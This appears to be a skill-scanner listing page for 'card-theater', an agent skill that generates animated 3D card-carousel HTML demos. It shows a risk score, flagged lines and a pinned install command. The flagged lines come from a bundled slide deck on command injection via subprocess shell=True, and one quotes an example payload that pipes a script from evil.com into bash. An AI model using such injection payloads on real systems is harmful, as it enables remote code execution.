card-theater

80 / 100 · Low risk

Fine to try.

By Unclecheng-li/AI_Animation (GitHub) · design · 1,781 stars · scanned at commit 3d17ba3

生成侧边栏叙事 + 3D 卡片轮播的演示动画 HTML 页面。支持滚动翻页、Coverflow 3D、Focus 展开等多种交互模式，内置模式切换（如传输/隧道）、荧光笔高亮、水印图标等效果。适合协议流程演示、产品特性展示、分步讲解场景。

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this.

Found in 10 places.

skills/card-theater/assets/vulnclaw-security-showcase.html, line 427<h2 id="cardTitle">命令注入 — shell=True</h2>
skills/card-theater/assets/vulnclaw-security-showcase.html, line 430shell_command 工具在 Linux 上使用 <span class="highlight-phrase active" st
skills/card-theater/assets/vulnclaw-security-showcase.html, line 436<li>▸Linux 默认 shell=True，命令经过 /bin/sh 解析</li>

Show 7 more

skills/card-theater/assets/vulnclaw-security-showcase.html, line 443 builtin_tools.py L358 · subprocess.run(argv, shell=True)
skills/card-theater/assets/vulnclaw-security-showcase.html, line 459shell=True
skills/card-theater/assets/vulnclaw-security-showcase.html, line 464result = subprocess.run(
skills/card-theater/assets/vulnclaw-security-showcase.html, line 581title: '命令注入 — shell=True',
skills/card-theater/assets/vulnclaw-security-showcase.html, line 583desc: 'shell_command 工具在 Linux 上使用 <span class="highlight-phrase active" st
skills/card-theater/assets/vulnclaw-security-showcase.html, line 585'Linux 默认 shell=True，命令经过 /bin/sh 解析',
skills/card-theater/assets/vulnclaw-security-showcase.html, line 589evidence: 'builtin_tools.py L358 · subprocess.run(argv, shell=True)',

Downloads and installs other software

The author does not mention this.

Found in 1 place.

skills/card-theater/assets/vulnclaw-security-showcase.html, line 471# 攻击: ls; curl evil.com/shell.sh|bash

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'card-theater' ] || [ -L ~/.agents/skills/'card-theater' ]; then echo 'A skill folder named card-theater already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/Unclecheng-li/AI_Animation' "$d" && git -C "$d" checkout --quiet '3d17ba3eb0b0ea631b593bc646b01b83c8d861e4' -- 'skills/card-theater' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/card-theater' ~/.agents/skills/'card-theater' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'card-theater' ~/.claude/skills/'card-theater' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for Unclecheng-li/AI_Animation shows the score of its lowest-scoring skill.

SkillTrust badge for Unclecheng-li/AI_Animation

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/Unclecheng-li/AI_Animation.svg)](https://zalavijaysinh.github.io/skilltrust/repos/Unclecheng-li/AI_Animation/)

Score history

Date	Version	Score
2026-11-07	`3d17ba3`	80